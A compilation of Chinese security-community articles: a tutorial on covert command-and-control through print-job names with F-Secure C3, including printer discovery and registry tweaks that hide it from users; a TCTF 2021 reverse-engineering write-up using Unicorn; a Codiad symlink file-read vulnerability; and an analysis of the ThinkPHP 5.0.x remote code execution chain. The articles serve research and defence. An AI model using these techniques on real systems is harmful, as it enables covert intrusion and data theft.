隐秘的C2通道是攻击者进行秘密行动的重要支柱，随着蓝队越来越善于探测传统通道，C2通道的隐蔽性也变得愈发重要。此外，攻击方在完成入侵后，C2的选择余地也是相当有限的，因为它们通常都要求在源机器和目标机器之间具有直接的连接，同时，很多C2现在都已经成为了防御软件的重点关注对象。在C3的LDAP通道的最新版本中，F-Secure开始探索如何以这种方式滥用常见IT基础结构的其他元素，于是，Printer
C2就应运而生了。
## 工作原理
无论使用的是本地打印机还是网络打印机，C3都会将新的打印作业以“Paused”状态插入打印队列中，并使用“Document
Name”属性作为数据传输机制。在测试过程中发现，大多数打印队列都支持至少1MB长的文档名称，这个长度对于攻击者来说已经足够了。
为了防止中继（Relays）读取不是发给它们的消息，同时，也为了使C3能够将C3作业与合法的打印作业区分开，我们在作业上附加了两个唯一的标识符。其中，第一个标识符是应该接收消息的中继的名称，第二个标识符用于标识C3作业。由于这两者都是用户定义，因为，我们可以根据需要进行定制。一旦消息被读取，它就会从队列中永久删除。
由于C3创建的作业并不是有效作业，即使它们不处于暂停状态，也不会触发物理打印机的相关操作。此外，处于离线状态的打印机还可以用来进一步降低风险。
## 使用说明
实际上，打印通道的建立和运行相对来说还是比较简单的。不过，需要注意的是，通道双端必须与同一个打印机队列进行通信，并且必须在同一用户或具有修改其他用户作业能力的用户的上下文中执行。
本文假设您已经拿下了使用C3的据点（foothold）。如果还没有的话，请参考F-Secure关于C3的介绍文章，以获得如何部署支持基础设施的相关说明。
## 发现目标打印机
鉴于打印机在各种规模的组织中无处不在，因此，寻找合适的打印机往往简直就是小事一桩。对于一种粗略且现成的方法，或者如果您已经登陆到一台未加入域的机器上，则可以使用nmap。
nmap -p 9100,515,631 <IP> -oX printers.xml
下面，我们对上述命令中的参数做简单的说明：
1. 9100：大多数打印机使用的原始端口，也称为直接IP端口
2. 515：LPR/LPD端口，适用于大多数打印机以及较旧的打印服务器
3. 631：IPP端口，适用于大多数现代打印机和基于CUPS的打印服务器
当您在域用户的上下文下展开攻击的话，一个更好的解决方案是使用简单的LDAP查询来发现打印服务器和打印机。这里，我们将使用@AJPC500介绍的通过LDAP搜索Beacon
Object File(BOF)的方法来查询Active Directory中的打印服务器。
ldapsearch (objectCategory=printQueue) uNCName
或者，您也可以使用PowerShell来查询远程计算机中的打印机。
Get-Printer -ComputerName GLOBEXROOTDC01
除此之外，您还可以使用WMI查询本地打印机。
wmic printer get name
## 部署Beacon
选择目标打印机后，从C3中的现有Relay中选择AddNegotiationChannel，并填写以下字段：
1. Negotiation Identifier：自动随机分配，无需更改。
2. Job Identifier：附加到每个作业末尾的唯一标识符，应根据需要进行相应的修改。
3. Printer Address：目标打印机的本地名称或远程网络地址，例如\\\192.168.1.1\Printer。
4. Max Packet Size：目标打印队列支持的文档名称的最大长度。为保险起见，通常设置为1MB，但也可以尝试更大或更小的值，以提高或降低其性能。
5. Outbound Jobs Limit：一次允许的打印作业数。默认值为0，即不受限制，但是，从OPSEC的“通过隐秘性获得安全性”的角度来看，取值为1可能更安全些。
然后，选择新创建的Channel图标，并点击New Relay选项。由于所有相关的字段都已经填好，请继续点击Create和Download
Relay选项。一旦在目标系统上运行之后，C3就会磋商输入/输出ID，并建立C2通道。
关于通过上面刚创建的通道部署beacon的具体过程，请访问这里的演示[视频](https://labs.f-secure.com/assets/Uploads/print-initial-setup-resize.mp4)。
即使存在单个打印作业的限制，通道也能够支持多个beacon，从而为攻击者提供足够的灵活性。
相关的演示视频，请访问[这里](https://labs.f-secure.com/assets/Uploads/print-multiple-beacons-resize.mp4)。
当打印作业的数量不受限制时，性能会得到进一步的提高。应该注意的是，当尝试使用无限制型打印作业传输大型文件（>100MB）时，通道的稳定性会显著下降，这是由C3尝试提交的作业数量太多引起的。解决办法是将作业数量限制在一个更合理的数量范围之内。
相关的演示视频，请访问[这里](https://labs.f-secure.com/assets/Uploads/print-unlimited-jobs-resize.mp4)。
## 检测方法
为了检测使用打印机在内部网络中进行跳板攻击（pivoting），我们可以在许多地方设置检查岗哨。下面，让我们如何在端点、网络以及正在处理排队作业的打印服务器上检测这种攻击方法。
## 在端点上进行检测
### UI行为
当我们在Windows系统上打印文件时，我们会在任务栏中看到相应的打印机图标。在打印机上使用C3时，同样也会出现打印机图标。每个需要将新作业添加到打印队列的“写入”事件都会导致该图标被显示在任务栏中。
当然，这并不是一种专门针对该攻击的“检测”方法，但是作为攻击方，我们必须意识到眼尖的用户有可能会发现这个问题。
当我们的目标打印机处于脱机状态（或墨水，纸张等确实不足）时，这将变得更加麻烦。虽然该通道仍将运行（即，我们仍可以将作业排队并从另一台主机读取它们），但将通知受感染的用户打印机处于脱机状态，并显示如下所示的消息：
当然，我们可以通过修改以下两个注册表项来禁用这些通知，但这并不是默认设置，并且显然可能会因此露出马脚：
HKCU\Printers\Settings\EnableBalloonNotificationsRemote
HKCU\Printers\Settings\EnableBalloonNotificationsLocal
## 小结
在本文中，我们不仅为读者详细介绍了基于打印作业的新型Command &
Control（C2）的工作原理，以及基于C3的打印通道的实现方法。在下一篇文章中，我们将为读者详细介绍针对这种新型C2的各种检测方法。 | 社区文章 |
# TCTF 2021 0bf - 利用Unicorn模拟被混淆的代码
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
这次的TCTF 2021 Final有队友们的鼎力相助，拿了Rising
Star的冠军，十分刺激。其中收获比较大的是`0bf`这道题目，这是一个10轮的加密算法，代码有大量混淆，加密逻辑没法直观地看出来。赛后官方的writeup是去混淆再解，但在比赛时没有足够的时间来研究混淆的规律，只能硬着头皮分析。这道题目也是我第一次用Unicorn来模拟函数逻辑，收获还是很大。
## 程序逻辑
由于代码经过了混淆，函数严重膨胀，首先要修改IDA的配置文件，将函数大小的上限调高，IDA反编译插件的配置文件在`IDA安装目录\cfg\hexrays.cfg`，打开找到`MAX_FUNCSIZE`，改成一个大数，再重新分析程序的加密函数`sub_11C9`，等上十几分钟，反编译完成后把代码复制到一个文件中，重新格式化成每个赋值语句一行的形式，方便查看。我上传了一份[反编译后的代码](https://pastebin.com/pjH7iacC)，有需要可以下载。
这时从VSCode的代码缩略图中就可以看出，该加密函数有明显的重复部分，例如函数入口的两行：
v2 = 12 * (*a1 & 0x4138B65C) + 8 * ~(*a1 & 0xBEC749A3) + (*a1 & 0xBEC749A3) + 1 - 6 * (*a1 ^ 0xBEC749A3) + 8 * ~*a1 + *a1 + 1 - 2 * (*a1 | 0xBEC749A3) - 4 * ~(*a1 | 0xBEC749A3) - 4 * ~(*a1 | 0x4138B65C) + 5 * (*a1 & 0xBEC749A3) + 1688020449;
v3 = 2636545543LL * v1;
和第二轮开始的部分：
v106 = 12 * (v103 & 0x70E38EE0) + 8 * ~(v103 & 0x8F1C711F) + (v103 & 0x8F1C711F) + 1 - 6 * (v103 ^ 0x8F1C711F) + 8 * ~v103 + v103 + 1 - 2 * (v103 | 0x8F1C711F) - 4 * ~(v103 | 0x8F1C711F) - 4 * ~(v103 | 0x70E38EE0) + 5 * (v103 & 0x8F1C711F) + 1583631427;
v107 = 4225108746u * v105;
以及第三轮开始的部分：
v209 = 12 * (v206 & 0xEEE7AAAE) + 8 * ~(v206 & 0x11185551) + (v206 & 0x11185551) + 1 - 6 * (v206 ^ 0x11185551) + 8 * ~v206 + v206 + 1 - 2 * (v206 | 0x11185551) - 4 * ~(v206 | 0x11185551) - 4 * ~(v206 | 0xEEE7AAAE) + 5 * (v206 & 0x11185551) + 1862844314;
v210 = 3734538576u * v208;
仔细寻找类似的代码，可以将整个加密函数分成10轮，每轮之间传递两个32位的值。第一轮的输入是`a1`开始的8字节，第二轮输入是第一轮计算产生的`v103`和`v105`两个值，依次类推，第10轮完成后计算结果作为加密后的8字节。
第一轮代码大致结构如下：
v1 = (unsigned int)a1[1];
v2 = 12 * (*a1 & 0x4138B65C) + 8 * ~(*a1 & 0xBEC749A3) + ...;
v3 = 2636545543LL * v1;
if (2636545543LL * v1) {
...
v10 = 6 * ~((HIDWORD(v9) - 1) | ~(_DWORD)v9 | 0x9D267E07) + 2 * (v9 & ((HIDWORD(v9) - 1) | 0x9D267E07)) - ...;
} else {
...
v10 = 4 * (~((v1 - 1) | 0x9D267E05) - 3 * ~((v1 - 1) | 0x62D981FA)) - ...;
}
v12 = 300216365LL * (21 * (v10 & ~v2 & 0xEE1B0FD2) + 10 * ~(v10 | ~v2 | 0xEE1B0FD2) + ...;
if (v12) {
v1222 = -4 * (-(__int64)HIDWORD(v12) ^ (unsigned int)v12);
v1182 = 6 * (v12 | (HIDWORD(v12) - 1)) + 5 * (~(unsigned __int64)(unsigned int)v12 & (v12 | (HIDWORD(v12) - 1)) ^ -(__int64)HIDWORD(v12));
...
} else {
v20 = 2 * ~((21 * (v10 & ~v2 & 0xEE1B0FD2) + 10 * ~(v10 | ~v2 | 0xEE1B0FD2) + ....;
v21 = v20 - (-(21 * (v10 & ~v2 & 0xEE1B0FD2) + 10 * ~(v10 | ~v2 | 0xEE1B0FD2) + ...;
...
}
...
v103 = 4 * (v2 & v93 & v101) - 21 * (v2 & v93 & ~(_DWORD)v101) + ...;
v105 = 26 * (v10 & v101 & ~v97) + ((unsigned int)v101 & v10 | v97 ^ v101) + ...;
从上面的代码可以将一轮的加密过程总结如下：
1、将本轮输入`*a1`，`a1[1]`经过短暂的处理，变为两个新的32位数`v2 = s(*a1)`和`v10 =
t(a[1])`，再用这两个数计算第三个值`v12 = r(v2, v10)`。
2、此后的计算仅依赖于第三个值`v12`（注意计算出`v12`后，下面的代码对`v2`和`v10`的使用形式与`v12`完全相同，均为`21 * (v10
& ~v2 & 0xEE1B0FD2) + ...`，实际上这个表达式还是`v12`）。
3、将第二步的计算结果记为`f(v12)`，则两个输出32位值`v103`和`v105`分别为`g(v2, f(v12))`和`h(v10,
f(v12))`。
`r`，`s`，`t`，`f`，`g`，`h`的具体操作未知。
## 分析
在没法去除混淆的情况下，只能将各段代码分别看作不同的黑盒，通过改变黑盒的输入，观察黑盒的输出，来猜测黑盒中的逻辑。
IDA的反汇编代码中用到的`_DWORD`，`LOWORD`，`__CFADD__`等宏定义可以从`IDA安装目录\plugins\defs.h`中找到，以分析`v2
= s(*a1)`中的`s`函数为例，将IDA反汇编重新改为C代码：
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "defs.h"
void f(unsigned int* a1) {
unsigned int v2 = 12 * (*a1 & 0x4138B65C) + 8 * ~(*a1 & 0xBEC749A3) +
(*a1 & 0xBEC749A3) + 1 - 6 * (*a1 ^ 0xBEC749A3) + 8 * ~*a1 +
*a1 + 1 - 2 * (*a1 | 0xBEC749A3) - 4 * ~(*a1 | 0xBEC749A3) - 4 * ~(*a1 | 0x4138B65C) + 5 * (*a1 & 0xBEC749A3) +
1688020449;
printf("%x %x\n", *a1, v2);
}
int main() {
srand((unsigned)time(NULL));
unsigned int a, x;
for (a = 0; a < 256; a++) {
x = a;
f(&x);
}
for (a = 0; a < 256; a++) {
x = rand();
f(&x);
}
return 0;
}
输入0-255的所有值，再输入一些随机的值，可以观察出`s`函数实际为`s(x) = x + 0x6e62d8bf`，通过类似的方法还可以确定`r(x,
y) = g(x, y) = h(x, y) = x ^ y`，`t(x) =
(x*0x9d267e07-((x*0x9d267e07)>>32))&0xFFFFFFFF`。剩余`f`过于复杂，没法直接观察出结果。单轮加密可以总结如下：
输入：32位值a，b
输出：32位值x，y
v1=(a*C1-((a*C1)>>32))&0xFFFFFFFF
v2=b+C2
v3=v1^v2
x=v1^f(v3)
y=v2^f(v3)
## 解法
不去混淆的情况下，程序中唯一无法求逆的是`f`函数，但观察得知`f`函数的可以通过异或来消去。给定加密结果`x`，`y`，若取`v1'=x^y,
v2'=0`，则`v3'=x^y`，`x'=v1'^f(v3')=x^y^f(x^y)`，`y'=v2'^f(v3')=f(x^y)`，可以发现新的加密中的`y'`即原先的加密时`f`函数的输出，再将`y'`分别与`x`，`y`异或，可以求出原先加密时的`v1`和`v2`。
再取`a'=0, b'=1`，则`v1'=C1,
v2'=C2`，加上上一步解出的`v1`和`v2`，就可以推出最初的`a`和`b`。这样就可以在不对`f`函数求逆的情况下进行解密。
利用[Unicorn](https://www.unicorn-engine.org/)可以方便地对代码片段进行部分模拟。模拟执行的关键在于找到一个合适的起点和终点，将二者之间的代码视为一个黑盒，并且使该黑盒对外部信息的依赖尽可能地小，方便模拟。
加密函数`sub_11C9`的开头部分如下：
.text:00000000000011C9 ; __unwind {
.text:00000000000011C9 F3 0F 1E FA endbr64
.text:00000000000011CD 55 push rbp
.text:00000000000011CE 48 89 E5 mov rbp, rsp
.text:00000000000011D1 41 57 push r15
.text:00000000000011D3 41 56 push r14
.text:00000000000011D5 41 55 push r13
.text:00000000000011D7 41 54 push r12
.text:00000000000011D9 53 push rbx
.text:00000000000011DA 48 89 7D C0 mov [rbp+var_40], rdi
.text:00000000000011DE 48 8B 45 C0 mov rax, [rbp+var_40]
.text:00000000000011E2 8B 00 mov eax, [rax]
.text:00000000000011E4 41 89 C5 mov r13d, eax
.text:00000000000011E7 48 8B 45 C0 mov rax, [rbp+var_40]
.text:00000000000011EB 48 83 C0 04 add rax, 4
.text:00000000000011EF 8B 00 mov eax, [rax]
.text:00000000000011F1 41 89 C4 mov r12d, eax
.text:00000000000011F4 B8 A3 49 C7 BE mov eax, 0BEC749A3h
.text:00000000000011F9 4C 31 E8 xor rax, r13
.text:00000000000011FC 48 89 C2 mov rdx, rax
.text:00000000000011FF 48 89 D0 mov rax, rdx
.text:0000000000001202 48 C1 E2 02 shl rdx, 2
.text:0000000000001206 48 29 D0 sub rax, rdx
.text:0000000000001209 48 01 C0 add rax, rax
.text:000000000000120C 48 89 C1 mov rcx, rax
.text:000000000000120F 4C 89 E8 mov rax, r13
可以将`0x11F4`作为模拟的起点，此时`r12`和`r13`寄存器中分别存放了首轮的输入值。第一轮的结束位于`0xF7AD`，此时加密结果也存放在`r12`和`r13`寄存器中。我们同时还需要中途控制`v3`并检查`v1`和`v2`的值，因此还需要找到一个中间点，可以选在`0x241A`，此时`r12`和`r13`寄存器中分就是`v1`和`v2`。代码如下：
void solve(uint64_t start,
uint64_t middle,
uint64_t end,
uint64_t x,
uint64_t y,
uint64_t* ox,
uint64_t* oy) {
uint64_t z, w, s, t;
uint32_t a, b;
do_emulation(binary, start, middle, 1, 0, &s, &t);
do_emulation(binary, middle, end, x ^ y, 0, &z, &w);
printf("z=%lx w=%lx s=%lx t=%lx\n", z, w, s, t);
b = (w ^ y) - t;
uint64_t m, n;
assert(exgcd(0x100000001, s, &m, &n) == 1);
a = ((x ^ w) * n) % 0x100000001;
if (n & (1UL << 63)) {
a -= 1;
}
printf("n=%lx a=%x b=%x\n", n, a, b);
*ox = a;
*oy = b;
}
其中`do_emulation`是用Unicorn模拟执行代码片段，第一次我们从起点开始，`a`和`b`分别取`1`和`0`，运行到中间点，根据上面的分析，此时`r12=C2,
r13=C1`，将结果保存为`s`和`t`。第一次我们从中间点开始，`v1`和`v2`分别取`x^y`和`0`，运行到终点，根据上面的分析，此时`r12=x^y^f(x^y),
r13=f(x^y)`，将结果保存为`z`和`w`。再通过`v1=w^x, v2=w^y`继续逆推出`v1`和`v2`。`b=v2-C2,
a=(v1*n)%0x100000001`，其中`n`是`C1`对`0x100000001`的乘法逆元。
## Unicorn的使用
接下来是`do_emulation`的实现：
void do_emulation(FILE* fp,
uint64_t start,
uint64_t end,
uint64_t r12,
uint64_t r13,
uint64_t* x,
uint64_t* y) {
uc_engine* uc;
uint64_t size = end - start;
uint64_t rsp = 0x280000, rbp = 0x2c0000;
assert(uc_open(UC_ARCH_X86, UC_MODE_64, &uc) == UC_ERR_OK);
assert(uc_mem_map(uc, 0x1000, 0x100000, UC_PROT_ALL) == UC_ERR_OK);
assert(uc_mem_map(uc, 0x200000, 0x100000, UC_PROT_ALL) == UC_ERR_OK);
assert(fseek(fp, start, SEEK_SET) == 0);
assert(fread(buf, size, 1, fp) == 1);
assert(uc_mem_write(uc, start, buf, size) == UC_ERR_OK);
assert(uc_reg_write(uc, UC_X86_REG_RSP, &rsp) == UC_ERR_OK);
assert(uc_reg_write(uc, UC_X86_REG_RBP, &rbp) == UC_ERR_OK);
assert(uc_reg_write(uc, UC_X86_REG_R12, &r12) == UC_ERR_OK);
assert(uc_reg_write(uc, UC_X86_REG_R13, &r13) == UC_ERR_OK);
assert(uc_emu_start(uc, start, end, 0, 0) == UC_ERR_OK);
assert(uc_reg_read(uc, UC_X86_REG_R12, x) == UC_ERR_OK);
assert(uc_reg_read(uc, UC_X86_REG_R13, y) == UC_ERR_OK);
uc_close(uc);
}
题目是PIE程序，为了省去重定位过程，直接将.text段映射到`0x1000`地址处。再分配一个空的栈段，将rsp和rbp都指向栈段，r12和r13填入输入值，调用`uc_emu_start`开始运行即可。
将Unicorn下载下来并编译，一般不建议将自己编译的东西用`make
install`安装到系统目录，避免和已有的东西冲突。网上很多教程编译OpenSSL都敢直接安装到/usr/lib，很多依赖OpenSSL的系统程序都会因此载入错误版本的libssl而无法运行。
采用静态链接+局部包含路径的方式可以很方便地使用自编译的第三方库，同时不污染环境，适合编译仅运行一次的程序，链接到Unicorn时可以使用如下指令：
gcc solve.c -I /xxx/download/unicorn/include/ /xxx/download/unicorn/libunicorn.a -lm -lpthread
-I选项指定头文件的搜索目录，同时把静态库libunicorn.a直接作为链接器输入，再链接到libm和libpthread即可编译出一个可独立运行的模拟程序。
完整代码参见[Pastebin](https://pastebin.com/DZtjMXiZ)
flag: `flag{0o0..MBA_0bF_1s_S0_1ntEresT1ng!!}`
## 总结
这道题目因为不懂去混淆还是费了很大的力气，最后还是靠加密函数中的异或结构巧妙地重用了已有的二进制代码，还是要提高自己的知识水平，学习去混淆。 | 社区文章 |
#### 简介 :
之前做过一道CTF的题目( 还是 facebook 的一个漏洞 ? ) , 具体是什么比赛忘记了
那个题目大概是让用户上传一个 tar 压缩包 , 然后会将其中的 txt 文件的内容显示出来
正解是先本地创建一个符号链接指向某一个敏感文件的绝对路径 (/etc/passwd)
然后使用 tar 打包后上传给具有漏洞的程序 , 然后 , 经过程序处理以后就会 follow 符号链接将文件内容显示出来
这个漏洞大概也如此
在审计和测试 Codiad 这个开源程序的时候 , Codiad 开发者自己维护了一个用于展示 Codiad Demo 的网站
> demo.codiad.com
测试的时候使用了该网站进行测试
* * *
#### 漏洞分析 :
漏洞主要出现在 Codiad 打开文件的函数中 , 由于对打开的文件类型缺乏判断 , 因此可以被恶意攻击者利用
> components/filemanager/class.filemanager.php
这里在打开文件的时候并没有检查文件是否是一个符号链接文件 , 直接就将其内容获取并显示
这样就给了攻击者利用符号链接文件读取任意文件的机会
攻击者可以构造一个符号链接文件指向敏感文件 , 然后就可以利用这个文件读取到目标服务器上的任意文件
由于笔者知识储备有限 , 并不是很了解符号链接文件的结构 , 暂时还不能手动创建一个符号链接文件
但是 Codiad 提供了从 github 导入 git 仓库的功能
因此笔者找到一个这个漏洞的利用方式
就是先创建一个仓库 , 在仓库中创建一个符号链接文件 , 指向某一个敏感文件 (例如 /etc/passwd)
然后将其推送到 github
github 对符号链接文件的保护还是比较好 , 并没有出现类似的漏洞
最后再使用 Codiad 的从 github 导入仓库的功能将这个仓库导入
最后就直接在 Codiad 中打开这个文件即可得到这个文件的内容
利用成功截图如下 :
最后又测试了一下是否可以将一整个目录作为符号链接来挂载到 Codiad 的目录中
发现确实是可以的
这里直接将 /etc 目录挂载到了 Codiad 的项目下
本地测试的时候更是直接将系统根目录直接挂载
* * *
#### 修补方案 :
在打开文件之前 , 使用 is_link 函数对被打开的文件进行判断
* * *
参考资料 :
> <https://github.com/WangYihang/Codiad-pentest> | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ>**
### **漏洞介绍**
2019年1月11日，ThinkPHP团队发布了一个补丁更新，修复了一处由于不安全的动态函数调用导致的远程代码执行漏洞。该漏洞危害程度非常高，默认条件下即可执行远程代码。启明星辰ADLab安全研究员对ThinkPHP的多个版本进行源码分析和验证后，确认具体受影响的版本为ThinkPHP5.0-5.0.23完整版。
### **漏洞复现**
本地环境采用ThinkPHP 5.0.22完整版+PHP5.5.38+Apache进行复现。安装环境后执行POC即可执行系统命令，如图：
### **漏洞分析**
以官网下载的5.0.22完整版进行分析， **首先定位到漏洞关键点：**
thinkphp/library/think/Request.php:518
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
在method函数的第二个if分支中，引入了一个外部可控的数据`$_POST[Config::get[‘var_method’]`。而`var_method`的值为`_method`。
取得`$_POST[‘_method’]`的值并将其赋值给`$this->method`，然后动态调用`$this->{$this->method}($_POST)`。这意味着攻击者可以调用该类任意函数并以`$_POST`作为第一个参数。如果动态调用`__construct`函数，则会导致代码执行。
Request类的`__construct`函数如下：
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
由于`$options`参数可控，攻击者可以覆盖该类的filter属性、method属性以及get属性的值。而在Request类的param函数中：
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
当`$this->mergeParam`为空时，这里会调用`$this->get(false)`。跟踪`$this->get`函数：
public function get($name = '', $default = null, $filter = null)
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}
该函数末尾调用了`$this->input`函数，并将`$this->get`传入，而`$this->get`的值是攻击者可控的。跟踪`$this->input`函数：
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据，返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
该函数调用了`$this->getFileter`取得过滤器。函数体如下：
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
`$this->filter`的值是攻击者通过调用构造函数覆盖控制的，将该值返回后将进入到input函数:
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
查看filterValue函数如下：
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
在`call_user_func`函数的调用中，`$filter`可控，`$value`可控。因此，可致代码执行。
#### **漏洞触发流程：**
从ThinkPHP5的入口点开始分析：
thinkphp/library/think/App.php:77
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;
try {
$config = self::initCommon();
// 模块/控制器绑定
if (defined('BIND_MODULE')) {
BIND_MODULE && Route::bind(BIND_MODULE);
} elseif ($config['auto_bind_module']) {
// 入口自动绑定
$name = pathinfo($request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {
Route::bind($name);
}
}
$request->filter($config['default_filter']);
// 默认语言
Lang::range($config['default_lang']);
// 开启多语言机制 检测当前语言
$config['lang_switch_on'] && Lang::detect();
$request->langset(Lang::range());
// 加载系统语言包
Lang::load([
THINK_PATH . 'lang' . DS . $request->langset() . EXT,
APP_PATH . 'lang' . DS . $request->langset() . EXT,
]);
// 监听 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
// 监听 app_begin
Hook::listen('app_begin', $dispatch);
// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
$data = self::exec($dispatch, $config);
run函数第一行便实例化了一个Request类，并赋值给了`$request`。然后调用`routeCheck($request,$config)`：
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}
// 路由检测（根据路由定义返回不同的URL调度）
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
这里调用`Route::check`进行路由检测。函数如下：
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
//检查解析缓存
if (!App::$debug && Config::get('route_check_cache')) {
$key = self::getCheckCacheKey($request);
if (Cache::has($key)) {
list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);
return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);
}
}
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace($depr, '|', $url);
if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
// 检测路由别名
$result = self::checkRouteAlias($request, $url, $depr);
if (false !== $result) {
return $result;
}
}
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
// 检测域名部署
if ($checkDomain) {
self::checkDomain($request, $rules, $method);
}
// 检测URL绑定
$return = self::checkUrlBind($url, $rules, $depr);
if (false !== $return) {
return $return;
}
if ('|' != $url) {
$url = rtrim($url, '|');
}
$item = str_replace('|', '/', $url);
if (isset($rules[$item])) {
// 静态路由规则检测
$rule = $rules[$item];
if (true === $rule) {
$rule = self::getRouteExpress($item);
}
if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
self::setOption($rule['option']);
return self::parseRule($item, $rule['route'], $url, $rule['option']);
}
}
// 路由规则检测
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
return false;
}
注意红色字体部分。对应开头的第一个步骤，也就是调用method函数进行变量覆盖。这里需要覆盖的属性有`$this->filter`,`$this->method`,`$this->get`。因为`$request->method()`的返回值为`$this->method`，所以该值也需要被控制。这里返回值赋值给了`$method`，然后取出`self::$rules[$method]`的值给`$rules`。这里需要注意：
**THINKPHP5有自动类加载机制，会自动加载vendor目录下的一些文件。但是完整版跟核心版的vendor目录结构是不一样的。**
完整版的目录结构如下：
而核心版的目录结构如下：
可以看到完整版比核心版多出了几个文件夹。特别需要注意的就是`think-captcha/src`这个文件夹里有一个helper.php文件：
这里调用`\think\Route::get`函数进行路由注册的操作。而这步操作的影响就是改变了上文提到的`self::$rules`的值。有了这个路由，才能进行RCE，否则不成功。这也就是为什么只影响完整版，而不影响核心版的原因。此时的`self::$rules`的值为:
